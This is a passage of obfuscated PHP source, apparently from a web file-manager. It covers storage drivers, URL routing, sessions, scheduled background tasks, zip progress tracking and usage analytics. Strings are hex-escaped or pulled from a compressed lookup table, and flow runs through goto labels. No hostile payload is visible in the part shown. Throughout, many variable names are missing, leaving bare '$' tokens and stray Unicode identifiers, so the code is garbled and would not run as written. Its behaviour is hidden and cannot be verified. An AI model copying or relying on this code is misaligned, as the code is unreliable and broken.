($Ћ != $[$[32]]) { $ȅŭ->rename($, $Ћ); } $ȅŭ->where($ז)->setField($[475], 0); $ؒ->eventRecycle($, $[2224]); } } } class SourceSecretModel extends ModelBaseLight { public $optionType = "\123\x79\163\x74\x65\x6d\56\x73\157\x75\x72\x63\145\x53\145\x63\162\x65\x74\114\x69\x73\164"; public $field = array("\163\x6f\x75\x72\143\145\x49\104", "\x74\171\160\x65\111\104", "\x63\x72\145\141\164\145\x55\163\145\x72"); } class StorageModel extends ModelBaseLight { public $optionType = "\123\171\x73\164\145\155\56\163\x74\x6f\x72\x61\147\x65\114\151\x73\x74"; public $field = array("\156\141\x6d\145", "\163\x69\x7a\x65\x4d\x61\170", "\x73\171\163\x74\x65\155", "\144\145\146\x61\165\154\164", "\x64\x72\151\x76\x65\162", "\x63\157\x6e\146\151\147"); public function listData($ = false, $’ = "\155\157\x64\x69\x66\x79\124\151\155\x65", $ܦ = false) { $ţ =& $_SERVER[砐]; $–Ы = parent::listData($, $’, $ܦ); if ($) { return $–Ы; } $Є = $this->ioSizeUseGet(array_to_keyvalue($–Ы, $ţ[12], $ţ[445])); foreach ($–Ы as $ => $ˆō) { unset($–Ы[$][$ţ[6]]); $–Ы[$][$ţ[1893]] = isset($Є[$ˆō[$ţ[445]]]) ? $Є[$ˆō[$ţ[445]]] : 0; } return $–Ы; } public function ioSizeUseGet($) { $Գ =& $_SERVER[砐]; if (!$) { return array(); } $Ըߴ = $Գ[2225] . implode($Գ[50], $); $ġԦ = Cache::get($Ըߴ); if ($ġԦ) { return $ġԦ; } $ܡŲ = array($Գ[862] => $Գ[445], $Գ[2226] => $Գ[78]); $ = array($Գ[862] => array($Գ[7], $)); $ġԦ = Model($Գ[834])->field($ܡŲ)->where($)->group($Գ[862])->select(); $ġԦ = array_to_keyvalue($ġԦ, $Գ[445], $Գ[78]); Cache::set($Ըߴ, $ġԦ, 600); return $ġԦ; } public function getConfig($Ȗ) { $ = parent::listData($Ȗ); return json_decode($[$_SERVER[砐][6]], !0); } public function update($, $σ) { $ =& $_SERVER[砐]; $ɇ = $σ[$[32]]; $Ȕӣ = array_to_keyvalue(parent::listData(), $[32]); if (isset($Ȕӣ[$ɇ]) && $Ȕӣ[$ɇ][$[445]] != $) { return !1; } $this->checkPwd($, $σ); if (isset($σ[$[2227]]) && $σ[$[2227]] == $[90]) { $this->checkConfig($σ); } unset($σ[$[2227]]); $ݍٓ = parent::update($, $σ); if ($ݍٓ && $σ[$[37]]) { $տ = 0; foreach ($Ȕӣ as $) { if ($[$[37]] && $[$[445]] != $) { $տ = $[$[445]]; parent::update($[$[445]], array($[37] => 0)); } } $this->updateBackup($, $տ); } return $ݍٓ; } public function add($̉) { $ =& $_SERVER[砐]; $ = array_to_keyvalue(parent::listData(), $[32]); if (isset($[$̉[$[32]]])) { return !1; } $this->checkConfig($̉); $ų = parent::insert($̉); if ($ų && $̉[$[37]]) { foreach ($ as $) { if ($[$[37]]) { parent::update($[$[445]], array($[37] => 0)); } } } return $ų; } public function updateBackup($֓, $) { $ʅ =& $_SERVER[砐]; if (!$) { return; } $󬴎 = Model($ʅ[794])->config(); if ($󬴎[$ʅ[1675]] != $ʅ[90] || $󬴎[$ʅ[796]] != $) { return; } $ř = Model($ʅ[815])->get($ʅ[825]); $ř = json_decode($ř, !0); if (!$ř) { return; } $ř[$ʅ[796]] = $֓; Model($ʅ[815])->set(array($ʅ[825] => $ř)); } public function checkPwd($, &$) { $ =& $_SERVER[砐]; if (empty($[$[6]])) { return; } $ڡ = json_decode($[$[6]], !0); $򰟝 = $[12]; $ = array($[2228], $[2229], $[940]); foreach ($ as $Þ) { if (isset($ڡ[$Þ])) { $򰟝 = $Þ; break; } } if (!$򰟝) { return; } $ܸ = $this->getConfig($); $х = $ܸ[$򰟝]; $ = $ڡ[$򰟝]; if ($ == str_repeat($[205], strlen($х))) { $ڡ[$򰟝] = $х; $[$[6]] = json_encode($ڡ); } else { if ($ != $х) { $[$[2227]] = $[90]; } } } public function checkConfig(&$ۢ, $ = false) { $ =& $_SERVER[砐]; $ = strtolower($ۢ[$[97]]); $ = json_decode($ۢ[$[6]], !0); foreach ($ as $햻 => $) { if (is_string($)) { $[$햻] = trim($); } } $[$[2230]] = rand_string(6); $֠ = $GLOBALS[$[6]][$[91]][$[871]]; $ʀ = isset($֠[$]) ? $֠[$] : ucfirst($); $ = $[76] . $ʀ; if (!$ʀ || !class_exists($)) { if ($) { return LNG($[2231]); } write_log(array($[2232], $ۢ, get_caller_info()), $[2233]); show_json(LNG($[2231]), !1, $ۢ); } $ڌɐ = new $($); if (in_array($, $ڌɐ->objectDriver)) { if (!$ڌɐ->isBucketCors() && !$ڌɐ->setBucketCors()) { $Ɇ = LNG($[2234]); $Ɇ .= $[2235] . LNG($[2236]); if ($) { return $Ɇ; } show_json($Ɇ, !1); } } $Ѵ = rtrim($[$[1231]], $[8]) . $[8]; $Ťӳ = $ڌɐ->getPath($Ѵ . $[1235]); if (!$ڌɐ->mkfile($Ťӳ)) { if ($) { return LNG($[2234]); } show_json(LNG($[2234]), !1); } $[$[1231]] = $Ѵ; $ۢ[$[6]] = json_encode($); $ۢ[$[97]] = $ʀ; return !0; } public function driverListSystem() { $⓳ =& $_SERVER[砐]; $Ҵ = parent::listData(); $̴ = array(); foreach ($Ҵ as $њ) { unset($њ[$⓳[217]], $њ[$⓳[87]]); $њ[$⓳[6]] = json_decode($њ[$⓳[6]], !0); $̴[] = $њ; } return $̴; } public function defaultDriver() { $ =& $_SERVER[砐]; $ = parent::listData(); $ = array_filter_by_field($, $[37], 1); $ = $[0]; if ($) { $[$[6]] = json_decode($[$[6]], !0); } return $; } public function driverInfo($) { $è =& $_SERVER[砐]; $ = array_to_keyvalue(parent::listData(), $è[445]); if (!isset($[$])) { return !1; } $Ǚ = $[$]; $Ǚ[$è[6]] = json_decode($Ǚ[$è[6]], !0); return $Ǚ; } public function remove($ѳ) { $this->removeShareItems($ѳ); return parent::remove($ѳ); } public function removeWithFile($촧, $ή) { $ =& $_SERVER[砐]; $ɤ = array($[862] => $촧); $ = Model($[514])->where($ɤ)->count(); $ٛ = Model($[514])->where($ɤ)->sum($[78]); $Ƕ֖ = $ή . $[2237] . $촧; $Ɩ = LNG($ή == $[590] ? $[2238] : $[2239]); $ԥ = new TaskFileTransfer($Ƕ֖, $[2233], $, $Ɩ . "\50{$촧}\x29"); $ԥ->task[$[808]] = (double) $ٛ; $΁ = KodIO::defaultDriver(); $­ = $΁[$[445]]; $̜ɘ = "\173\151\x6f\72{$­}\175\57"; $ = !0; $ = array(); $ = Model($[216])->where($ɤ)->field($[2240])->select(); foreach ($ as $ϐ) { $ߔDž = $ϐ[$[86]]; $諚 = $̜ɘ . str_replace("\x7b\x69\x6f\72{$촧}\175\57", $[12], $ߔDž); if (!IO::exist($ߔDž)) { $[] = $ϐ[$[511]]; $ԥ->updateFileEnd($ϐ[$[32]], $ϐ[$[78]]); continue; } if (IO::exist($諚)) { $ԥ->updateFileEnd($ϐ[$[32]], $ϐ[$[78]]); continue; } if (!IO::move($ߔDž, get_path_father($諚))) { $ = !1; break; } $ɤ = array($[511] => $ϐ[$[511]]); $ʙ = array($[862] => $­, $[86] => $諚); Model($[216])->where($ɤ)->save($ʙ); } $this->removeByFileID($); if (!$) { $ԥ->stop($Ƕ֖); return !1; } $ԥ->end(); if ($ή == $[1873]) { $this->remove($촧); } } public function progress($, $έ) { return Task::get($έ . $_SERVER[砐][2237] . $); } private function removeByFileID($ɧ = array()) { $ĿԿӅ =& $_SERVER[砐]; if (empty($ɧ)) { return; } $­ = array($ĿԿӅ[511] => array($ĿԿӅ[7], $ɧ)); $ = Model($ĿԿӅ[1384])->where($­)->field($ĿԿӅ[183])->select(); if (!$) { return; } $ = array_to_keyvalue($, $ĿԿӅ[12], $ĿԿӅ[183]); foreach ($ as $) { Model($ĿԿӅ[460])->removeNow($, !1); } } private function removeShareItems($ۼ) { $ =& $_SERVER[砐]; $㫇ݙ = "\x7b\151\x6f\x3a{$ۼ}\x7d\x2f"; $ = array($[183] => 0, $[1226] => array($[429], "{$㫇ݙ}\45")); $ǎﮮ = Model($[1884])->where($)->field($[635])->select(); if (empty($ǎﮮ)) { return; } $Ś = array_to_keyvalue($ǎﮮ, $[12], $[635]); Model($[634])->remove($Ś); } } goto d҆; Aˌõ: define($_SERVER[砐][0], $_SERVER[砐][1]); $_SERVER[̻] = explode($_SERVER[砐][2], gzinflate(substr($_SERVER[砐][3], 10, -8))); function binCheckEq($ǃܣ, $) { return $ǃܣ == $; } goto EڣҲ; eൂ: class Route { public static $halts = false; public static $routes = array(); public static $methods = array(); public static $callbacks = array(); public static $maps = array(); public static $patterns = array("\72\x61\x6e\171" => "\133\136\57\135\53", "\72\x6e\165\x6d" => "\133\x30\x2d\71\x5d\53", "\x3a\141\x6c\x6c" => "\56\52"); public static $errorCallback; public static function __callstatic($稜ζ, $) { $Ɛ =& $_SERVER[砐]; if ($稜ζ == $Ɛ[1641]) { $DŽ = array_map($Ɛ[1642], $[0]); $ڶ = strpos($[1], $Ɛ[8]) === 0 ? $[1] : $Ɛ[8] . $[1]; $Ǎᬸ = $[2]; } else { $DŽ = null; $ڶ = strpos($[0], $Ɛ[8]) === 0 ? $[0] : $Ɛ[8] . $[0]; $Ǎᬸ = $[1]; } array_push(self::$maps, $DŽ); array_push(self::$routes, $ڶ); array_push(self::$methods, strtoupper($稜ζ)); array_push(self::$callbacks, $Ǎᬸ); } public static function error($) { self::$errorCallback = $; } public static function haltOnMatch($ = true) { self::$halts = $; } public static function dispatch() { $ =& $_SERVER[砐]; $ = parse_url($_SERVER[$[1643]], PHP_URL_PATH); $֏ = $_SERVER[$[162]]; $ = array_keys(static::$patterns); $ = array_values(static::$patterns); $ަ = !1; self::$routes = preg_replace($[1327], $[8], self::$routes); if (in_array($, self::$routes)) { $ٸ = array_keys(self::$routes, $); foreach ($ٸ as $ޤ) { if (self::$methods[$ޤ] == $֏ || self::$methods[$ޤ] == $[1644] || in_array($֏, self::$maps[$ޤ])) { $ަ = !0; if (!is_object(self::$callbacks[$ޤ])) { $š = explode($[8], self::$callbacks[$ޤ]); $ = end($š); $ܔ = explode($[1259], $); $̤ = new $ܔ[0](); $̤->{$ܔ[1]}(); if (self::$halts) { return; } } else { call_user_func(self::$callbacks[$ޤ]); if (self::$halts) { return; } } } } } else { $ҵʎ = 0; foreach (self::$routes as $ޤ) { if (strpos($ޤ, $[4]) !== !1) { $ޤ = str_replace($, $, $ޤ); } if (preg_match($[1645] . $ޤ . $[1646], $, $򗴠)) { if (self::$methods[$ҵʎ] == $֏ || self::$methods[$ҵʎ] == $[1644] || !empty(self::$maps[$ҵʎ]) && in_array($֏, self::$maps[$ҵʎ])) { $ަ = !0; array_shift($򗴠); if (!is_object(self::$callbacks[$ҵʎ])) { $š = explode($[8], self::$callbacks[$ҵʎ]); $ = end($š); $ܔ = explode($[1259], $); $̤ = new $ܔ[0](); if (!method_exists($̤, $ܔ[1])) { echo $[1647]; } else { call_user_func_array(array($̤, $ܔ[1]), $򗴠); } if (self::$halts) { return; } } else { call_user_func_array(self::$callbacks[$ҵʎ], $򗴠); if (self::$halts) { return; } } } } $ҵʎ++; } } if ($ަ == !1) { if (!self::$errorCallback) { self::$errorCallback = function () { $꜐À =& $_SERVER[砐]; header($_SERVER[$꜐À[1648]] . $꜐À[1649]); echo $꜐À[1650]; }; } else { if (is_string(self::$errorCallback)) { self::get($_SERVER[$[1643]], self::$errorCallback); self::$errorCallback = null; self::dispatch(); return; } } call_user_func(self::$errorCallback); } } } class Session { public static $sessionTime; public static $sessionSign; public static $handle; public static $data; public static function init() { $ =& $_SERVER[砐]; static $ = false; if ($) { return $; } $ˆ = $GLOBALS[$[6]][$[395]]; self::$sessionTime = $ˆ[$[1651]]; $ = isset($GLOBALS[$[1652]]) ? $GLOBALS[$[1652]] : SESSION_ID; if (self::$sessionSign) { } else { if (Cookie::get($)) { self::$sessionSign = Cookie::get($); } else { self::$sessionSign = self::$sessionSign ? self::$sessionSign : guid(); } } Cookie::setSafe($, self::$sessionSign, self::$sessionTime); $ԉ = $ˆ[$[1653]]; $ޔ = $ˆ[$ԉ]; $ـҫ = $ˆ[$[873]]; switch ($ԉ) { case $[21]: self::$handle = Model($[874]); break; case $[875]: self::$handle = new CacheRedis($ޔ, $ـҫ); break; case $[876]: self::$handle = new CacheMemcached($ޔ, $ـҫ); break; case $[216]: $ޔ[$[86]] = $ޔ[$[86]] . $[1654]; self::$handle = new CacheFile($ޔ, $ـҫ); default: break; } if (!self::$data) { self::$data = self::getBySign(self::$sessionSign); } $ = new self(); return $; } public static function getBySign($Ƥ) { $竃 = self::$handle->get($Ƥ); $竃 = unserialize($竃); return is_array($竃) ? $竃 : array(); } public static function setBySign($婷, $ԏד) { CacheLock::lock($婷); self::$handle->set($婷, serialize($ԏד), self::$sessionTime); CacheLock::unlock($婷); } public static function sign($Ԙ = false) { if ($Ԙ) { self::$sessionSign = $Ԙ; } self::init(); return self::$sessionSign; } public static function set($“, $ = false) { self::init(); if (is_array($“)) { foreach ($“ as $薌 => $İʠ) { array_set_value(self::$data, $薌, $İʠ); } } else { array_set_value(self::$data, $“, $); } self::setBySign(self::$sessionSign, self::$data); } public static function get($漼 = false) { self::init(); if (!$漼) { return self::$data; } return array_get_value(self::$data, $漼); } public static function remove($䮺؃) { self::init(); unset(self::$data[$䮺؃]); self::$handle->set(self::$sessionSign, serialize(self::$data), self::$sessionTime); } public static function destory() { Cookie::remove(SESSION_ID, !0); self::init(); self::clearTimeout(); self::$data = array(); return self::$handle->remove(self::$sessionSign); } public static function clearTimeout() { self::init(); if (method_exists(self::$handle, $_SERVER[砐][879])) { self::$handle->clearTimeout(); } } } class AutoTask { const AUTO_DELAY_TIME = 2; const AUTO_RESTART_TIME = 7200; public static function start() { $衹 =& $_SERVER[砐]; if (self::valueGet($衹[795]) != $衹[90]) { return; } if (self::valueGet($衹[1655]) == $衹[90]) { $턋 = self::valueGet($衹[1656]); if (time() - $턋 > self::AUTO_RESTART_TIME) { self::restart(); } return; } self::clearUserStatus(); self::valueSet($衹[1655], $衹[90]); self::log($衹[1657] . ACTION . $衹[1658]); Hook::bind($衹[1659], $衹[1660]); $ = 0; while (!0) { self::cacheClear(); if (self::valueGet($衹[795]) != $衹[90]) { self::valueSet($衹[1655], $衹[214]); self::log($衹[1661]); die; } $ = time(); if ($ - $ >= 60) { self::valueSet(array($衹[1655] => $衹[90], $衹[1656] => $)); $ = $; } if (!file_exists(USER_SYSTEM . $衹[1662])) { self::valueSet(array($衹[1655] => $衹[214], $衹[795] => $衹[214])); self::log($衹[1663]); die; } $ ũ = file_get_contents(BASIC_PATH . $衹[1664]); $ = KOD_VERSION . $衹[10] . KOD_VERSION_BUILD; $ލ = match_text($ ũ, $衹[1665]) . $衹[10] . match_text($ ũ, $衹[1666]); if ($ލ != $) { self::restart(); self::log("\x73\x74\157\x70\145\x64\56\133\166\x65\x72\163\151\x6f\x6e\x20\x75\x70\144\x61\x74\145\x3b{$versionNow}\40\75\x3e\40{$version}\x5d"); die; } self::taskRunAll(); sleep(self::AUTO_DELAY_TIME); } } public static function clearUserStatus() { $ʎ =& $_SERVER[砐]; http_close(); $GLOBALS[$ʎ[1667]] = 1; $_SERVER[$ʎ[1668]] = $ʎ[1669]; $_COOKIE = array(); $GLOBALS[$ʎ[1670]] = 1; $GLOBALS[$ʎ[1671]] = 1; Session::$sessionSign = guid(); Session::$data = array(); } public static function restart() { $˵ =& $_SERVER[砐]; http_close(); self::valueSet($˵[795], $˵[214]); sleep(self::AUTO_DELAY_TIME + 5); self::valueSet(array($˵[1655] => $˵[214], $˵[795] => $˵[90])); self::log($˵[1672]); } public static function taskSwitch() { $љ =& $_SERVER[砐]; $Š = self::valueGet($љ[795]) == $љ[90] ? $љ[214] : $љ[90]; self::valueSet($љ[795], $Š); } public static function shutdownEvent() { $ݎ =& $_SERVER[砐]; self::valueSet($ݎ[1655], $ݎ[214]); self::log($ݎ[1673]); } public static function config($ȝ, $) { self::valueSet($_SERVER[砐][795], $ȝ); } private static function taskRunAll() { $ =& $_SERVER[砐]; $޼ = timeFloat(); $ = Model($[1674])->listData(); $ȗ = count($); for ($в = 0; $в < $ȗ; $в++) { $ = $[$в]; if (!$[$[445]] || $[$[1675]] != $[90]) { continue; } if (!self::taskTimeCheck($)) { continue; } self::taskRun($); } Hook::trigger($[1676]); self::taskQueueRun($޼); } private static function taskQueueRun($س) { $Ԗ = 10; while (!0) { $ = TaskQueue::run(); if ($ === !1) { break; } if (timeFloat() - $س >= $Ԗ) { break; } } } private static function taskTimeCheck($ʷލ) { $ԥ =& $_SERVER[砐]; $ = json_decode($ʷލ[$ԥ[196]], !0); $ϳ珰 = intval($ʷލ[$ԥ[1656]]); $Ի͆ = strtotime($ԥ[1677] . $[$ԥ[1678]] . $ԥ[1679]) - strtotime($ԥ[1680]); $ = time() - strtotime(date($ԥ[1681]) . $ԥ[1682]); $ = $ >= $Ի͆ && $ <= $Ի͆ + 3600; switch ($[$ԥ[33]]) { case $ԥ[1683]: if (time() - $ϳ珰 < 3600 * 24 * 30) { return !1; } if ($[$ԥ[1683]] == date($ԥ[1684]) && $) { return !0; } break; case $ԥ[1685]: if (time() - $ϳ珰 < 3600 * 24 * 7) { return !1; } $캈 = date($ԥ[1686]) == 0 ? 7 : date($ԥ[1686]); if ($[$ԥ[1685]] == $캈 && $) { return !0; } break; case $ԥ[1678]: if (time() - $ϳ珰 < 3600 * 24) { return !1; } if ($) { return !0; } break; case $ԥ[1687]: if (time() - $ϳ珰 >= floatval($[$ԥ[1687]]) * 60) { return !0; } break; default: break; } return !1; } private static function closeDatabase() { $ҵ =& $_SERVER[砐]; static $ = 0; $촏 = 300; if (!$) { $ = time(); } if (time() - $ < $촏) { return; } $ = time(); $ཟ = Model($ҵ[548])->db($ҵ[12]); if ($ཟ) { $ཟ->closeConnect(); } if (time() - TIME > 3600 * 24 * 3) { self::log($ҵ[1688], $ҵ[1689]); die; } } public static function taskRun($) { $ =& $_SERVER[砐]; self::log($[1690] . $[$[445]] . $[1691] . $[$[32]] . $[1692] . $[$[1693]]); Model($[1674])->run($[$[445]]); $ = timeFloat(); $˙ = $[12]; switch ($[$[33]]) { case $[353]: $ = url_request($[$[1693]], $[247], !1, !1, !1, !1, 10); if ($[$[795]]) { $˙ = strlen($[$[1253]]); } break; case $[246]: $˙ = Hook::apply($[$[1693]]); default: break; } Model($[1694])->add(array($[1695] => $[12], $[1696] => $[214], $[33] => $[1697] . $[$[445]], $[1698] => json_encode(array($[32] => $[$[32]], $[1699] => timeFloat() - $, $[339] => $˙)))); $ = $˙ ? $[1700] . $˙ : $[12]; self::log($[1701] . $[$[445]] . $[167] . $); return !0; } public static function valueGet($) { $ѥޥ =& $_SERVER[砐]; $Ѭû = $ѥޥ[1702]; $ = Model($ѥޥ[478])->get($, $Ѭû); if (is_null($)) { Model($ѥޥ[478])->set($ѥޥ[795], $ѥޥ[90], $Ѭû); Model($ѥޥ[478])->set($ѥޥ[1655], $ѥޥ[214], $Ѭû); $ = Model($ѥޥ[478])->get($, $Ѭû); } return $; } private static function valueSet($, $Ճ = false) { $ =& $_SERVER[砐]; $ = $[1703]; CacheLock::lock($); $ʬ = Model($[478])->set($, $Ճ, $[1702]); CacheLock::unlock($); return $ʬ; } protected static function log($啕) { write_log($啕, $_SERVER[砐][1689]); } private static function cacheClear() { $ =& $_SERVER[砐]; Cache::clearMemory(Model($[478])->cacheKey($[1702])); Cache::clearMemory(Model($[478])->cacheKey($[1704])); Model($[1674])->cacheClear(); self::closeDatabase(); } } goto C; Cɧ: define($_SERVER[砐][287], 1); define($_SERVER[砐][288], 0); define($_SERVER[砐][289], 2); goto Cɷ; A􆫨: define($_SERVER[砐][647], $_SERVER[砐][648]); $hrgwpjxies = $_SERVER[砐][649]; if (!$hrgwpjxies) { return; } goto D𛋤Ģ; Aۉ: class TaskZip extends TaskFileTransfer { protected function startAfter() { $ˍ =& $_SERVER[砐]; parent::startAfter(); Hook::bind($ˍ[1830], array($this, $ˍ[1820])); Hook::bind($ˍ[1822], array($this, $ˍ[1823])); $ԓ =& $this->task; $ԓ[$ˍ[1824]] = $ˍ[1245]; if (!$ԓ[$ˍ[1593]]) { $ԓ[$ˍ[1593]] = LNG($ˍ[1831]); } } protected function endAfter() { $ =& $_SERVER[砐]; parent::endAfter(); Hook::unbind($[1830], array($this, $[1820])); Hook::unbind($[1822], array($this, $[1823])); } public function updateAfter() { $؂ =& $_SERVER[砐]; $кɛ =& $this->task; if (!$кɛ[$؂[831]] || !$кɛ[$؂[808]]) { return; } if ($кɛ[$؂[1824]] == $؂[1245]) { $ɵ = $кɛ[$؂[1759]]; if ($кɛ[$؂[1760]] != $؂[1245]) { $ɵ = 0; } $ᗰ׬ = ($кɛ[$؂[1763]] + $ɵ) / $кɛ[$؂[808]]; $кɛ[$؂[1707]] = $ᗰ׬ * 0.3; } else { if ($кɛ[$؂[1824]] == $؂[359]) { $ᗰ׬ = $кɛ[$؂[1706]] / $кɛ[$؂[831]]; $кɛ[$؂[1707]] = 0.3 + $ᗰ׬ * 0.5; } else { if ($кɛ[$؂[1824]] == $؂[109]) { $ᗰ׬ = 0; if ($кɛ[$؂[1758]]) { $ᗰ׬ = $кɛ[$؂[1759]] / $кɛ[$؂[1758]]; } $кɛ[$؂[1707]] = 0.3 + 0.5 + $ᗰ׬ * 0.2; } } } if ($кɛ[$؂[1707]] > 0) { $ = timeFloat() - $кɛ[$؂[1709]] - $кɛ[$؂[1712]]; $кɛ[$؂[1713]] = $ * (1 - $кɛ[$؂[1707]]) / $кɛ[$؂[1707]]; } } public function copyFileStart($, $, $, $ʙ, $ݢ, $) { $ؑ =& $_SERVER[砐]; parent::copyFileStart($, $, $, $ʙ, $ݢ, $); $ǃ =& $this->task; if ($ǃ[$ؑ[1824]] == $ؑ[359]) { $ǃ[$ؑ[1824]] = $ؑ[109]; } $this->update(); } public function copyFileEnd($ߥ, $, $Ă營, $, $, $) { $ =& $_SERVER[砐]; $Ţ =& $this->task; $Ţ[$[1759]] = $Ţ[$[1758]]; $Ţ[$[1763]] += $Ţ[$[1758]]; $Ţ[$[1760]] = $[12]; $this->update(); } public function zipEvent($, $Ē, $д㹂, $ݱ¢) { $ =& $_SERVER[砐]; $ =& $this->task; $[$[1756]] = get_path_this($Ē); $[$[1758]] = $ݱ¢; $[$[1759]] = $д㹂; $[$[1115]] = $ == $[1832] ? $[1827] : $[1828]; $[$[1760]] = $[12]; $[$[808]] = $ݱ¢; $[$[1824]] = $[359]; $this->update(); } public function nameParse($) { $и =& $_SERVER[砐]; $ɽ =& $this->task; if ($ɽ[$и[1706]] < $ɽ[$и[831]]) { $ſ = get_path_this($); if (strstr($ſ, $и[10])) { $ɽ[$и[1706]] += 1; } } if ($ɽ[$и[1824]] == $и[1245]) { $ɽ[$и[1824]] = $и[359]; } $ɽ[$и[1756]] = $; $this->update(); } } class AnalysisModel extends ModelBaseLight { public function init($) { $З =& $_SERVER[砐]; $ߵ = array($З[632] => array($З[33] => $З[1833], $З[319] => array($З[241], $З[810], $З[1834], $З[1835])), $З[1836] => array($З[33] => $З[1837], $З[319] => array($З[241], $З[808], $З[1838], $З[1839], $З[1840]))); if (!isset($ߵ[$])) { return !1; } $this->optionType = $ߵ[$][$З[33]]; $this->field = $ߵ[$][$З[319]]; return !0; } public function listData($伎 = false, $ = "\x6d\x6f\144\x69\146\171\x54\x69\155\145", $ӣ = false) { return parent::listData($伎, $, $ӣ); } public function trendList($) { $ =& $_SERVER[砐]; $ܚ = $this->listData(); if ($ܚ) { $̰ = end($ܚ); $ = date($[1841], strtotime($[1842])); if ($̰[$[241]] == $) { return $ܚ; } $Ŏ܋ = strtotime($̰[$[241]]); } if (!isset($Ŏ܋)) { $˛ = $ == $[632] ? $[569] : $[870]; $Ŏ܋ = Model($˛)->min($[217]); } $瑅 = $[1843] . ucfirst($); $ؽ = $this->dateList($Ŏ܋); foreach ($ؽ as $) { $this->{$瑅}($); } return $this->listData(); } private function dateList($) { $ه =& $_SERVER[砐]; $ٲώ = $; $ = strtotime($ه[1842]); $򴝛 = array(); while ($ٲώ <= $) { $򴝛[] = date($ه[1841], $ٲώ); $ٲώ = strtotime($ه[1844], $ٲώ); } return $򴝛; } public function _recordUser($ӏ = '') { $ =& $_SERVER[砐]; $ = strtotime(date($[1845], strtotime($ӏ))); $ = strtotime(date($[1846], strtotime($ӏ))); $ = array($[217] => array($[1064], $)); $מڕ = Model($[569])->where($)->count($[1705]); $[$[217]] = array($[379], array($, $)); $ = Model($[569])->where($)->count($[1705]); $[$[33]] = $[1847]; $ٓ = Model($[1848])->where($)->count($[1849]); $ȇᳳ = array($[241] => $ӏ, $[810] => (int) $מڕ, $[1834] => (int) $, $[1835] => (int) $ٓ); return $this->insert($ȇᳳ); } public function _recordStore($ = '') { $ϬԿ =& $_SERVER[砐]; $ʽ = strtotime(date($ϬԿ[1846], strtotime($))); $֔ݮ = array($ϬԿ[217] => array($ϬԿ[1064], $ʽ)); $ݪ = Model($ϬԿ[514])->where($֔ݮ)->sum($ϬԿ[78]); $֔ݮ[$ϬԿ[455]] = 0; $ = Model($ϬԿ[870])->where($֔ݮ)->sum($ϬԿ[78]); $֔ݮ[$ϬԿ[180]] = 1; $ = Model($ϬԿ[870])->where($֔ݮ)->sum($ϬԿ[78]); $֔ݮ[$ϬԿ[180]] = 2; $̔ = Model($ϬԿ[870])->where($֔ݮ)->sum($ϬԿ[78]); $Λ = array($ϬԿ[241] => $, $ϬԿ[808] => (int) $, $ϬԿ[1838] => (int) $ݪ, $ϬԿ[1839] => (int) $, $ϬԿ[1840] => (int) $̔); return $this->insert($Λ); } public function trend($, $) { $؅ =& $_SERVER[砐]; if (!$this->init($)) { return !1; } $ȷ = $this->trendList($); if ($ȷ && $ != $؅[1678]) { $ͩ = $ȷ[0][$؅[241]]; $˧ = $this->validDate($, $ͩ); $­ = array(); $˅ = array_to_keyvalue($ȷ, $؅[241]); foreach ($˧ as $ȸ) { if (isset($˅[$ȸ])) { $臊Ï = $˅[$ȸ]; } else { $臊Ï = end($ȷ); $臊Ï[$؅[241]] = $ȸ; if ($ == $؅[632]) { $臊Ï[$؅[1834]] = $臊Ï[$؅[1835]] = 0; } } $­[] = $臊Ï; } $ȷ = $­; } $ް = array($؅[632] => array($؅[810] => LNG($؅[1850]), $؅[1834] => LNG($؅[1851]), $؅[1835] => LNG($؅[1852])), $؅[1836] => array($؅[808] => LNG($؅[1853]), $؅[1838] => LNG($؅[1854]), $؅[1839] => LNG($؅[1855]), $؅[1840] => LNG($؅[1856]))); $Ǝ = array($؅[632] => $؅[1857], $؅[1836] => $؅[78]); if (empty($ȷ)) { $ȸ = date($؅[1841], strtotime($؅[1842])); $ě = array($؅[241] => $ȸ); foreach ($ް[$] as $ => $㟂) { $ě[$] = 0; } $ȷ[] = $ě; } $ܷ͐ = array(); foreach ($ȷ as $㟂) { if ($ == $؅[1836] && $㟂[$؅[1838]] > $㟂[$؅[808]]) { $㟂[$؅[1838]] = $㟂[$؅[808]]; } foreach ($ް[$] as $ => $򠐑) { $臊Ï = array($؅[241] => $㟂[$؅[241]], $؅[1593] => $򠐑); $臊Ï[$Ǝ[$]] = isset($㟂[$]) ? $㟂[$] : 0; $ܷ͐[] = $臊Ï; } } return $ܷ͐; } public function validDate($ȣ, $ȭ) { $៎ =& $_SERVER[砐]; $͈ = date($៎[1841], strtotime($៎[1842])); $Ҷ = array($͈); switch ($ȣ) { case $៎[1685]: $Ֆ = mktime(0, 0, 0, date($៎[1858]), date($៎[1412]) - date($៎[1477]) + 7 - 7, date($៎[1859])); $Ȩ = 0; do { $ = date($៎[1841], $Ֆ - 3600 * 24 * 7 * $Ȩ); $Ҷ[] = $; $Ȩ++; } while ($ȭ < $); break; case $៎[1683]: $Ȩ = 1; do { $ = date($៎[1860], strtotime("\x2d\x20{$Ȩ}\40\x6d\157\x6e\164\150\163")); $Ҷ[] = $; $Ȩ++; } while ($ȭ < $); break; case $៎[1861]: $á = (int) date($៎[1859], strtotime($ȭ)); $랶 = (int) date($៎[1859]); if ($á >= $랶) { break; } for ($á; $á < $랶; $á++) { $Ҷ[] = $á . $៎[1862]; } break; default: break; } if ($ȭ > end($Ҷ)) { array_pop($Ҷ); } sort($Ҷ); return $Ҷ; } public function listTable($) { $ = ucfirst($); return Model($)->listData(); } public function option($) { $ߤ = $_SERVER[砐][1863] . ucfirst($); return $this->{$ߤ}(); } private function optionUser() { $ =& $_SERVER[砐]; $Ԉ = Model($[569])->count($[1705]); $ = Model($[569])->where($[1864])->count($[1705]); $ʎτ = intval($GLOBALS[$[6]][$[395]][$[1651]]) / 3600; $ƚȤ = strtotime("\x2d{$ʎτ}\x20\x68\x6f\x75\x72\163"); $﷌ = strtotime(date($[1845])); if ($ƚȤ < $﷌) { $ƚȤ = $﷌; } $ = array($[1865] => array($[1065], $ƚȤ)); $ = (int) Model($[569])->where($)->count($[1705]); if (!$) { $ = 1; } $ = array($[1865] => array($[1065], $﷌)); $Ψ = Model($[569])->where($)->count($[1705]); return array($[803] => (int) $Ԉ, $[1866] => (int) ($Ԉ - $), $[1867] => (int) $, $[1868] => (int) $Ψ, $[1869] => $); } private function optionFile() { $ת =& $_SERVER[砐]; $׵ = $this->sourceSize(); $ = $׵[$ת[78]]; $ = $׵[$ת[1838]]; $ͪ = Model($ת[870])->where(array($ת[455] => 0))->count($ת[183]); $Σđ = array($ת[455] => 0, $ת[217] => array($ת[1065], strtotime(date($ת[1845])))); $܊ = Model($ת[870])->where($Σđ)->sum($ת[78]); $Ҟƛ = 